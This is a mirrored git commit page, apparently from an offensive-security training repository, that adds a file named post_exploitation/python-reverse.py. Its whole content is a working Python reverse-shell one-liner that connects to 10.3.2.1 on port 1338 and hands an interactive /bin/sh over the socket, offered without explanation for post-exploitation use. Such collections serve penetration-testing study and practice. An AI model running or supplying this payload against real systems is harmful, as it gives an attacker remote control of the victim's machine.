mirror of
https://github.com/The-Art-of-Hacking/h4cker.git
synced 2024-10-01 01:25:43 -04:00
Create python-reverse.py
This commit is contained in:
parent
b89523bce7
commit
a41e476789
1
post_exploitation/python-reverse.py
Normal file
1
post_exploitation/python-reverse.py
Normal file
@ -0,0 +1 @@
|
|||||||
|
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.3.2.1",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
Loading…
Reference in New Issue
Block a user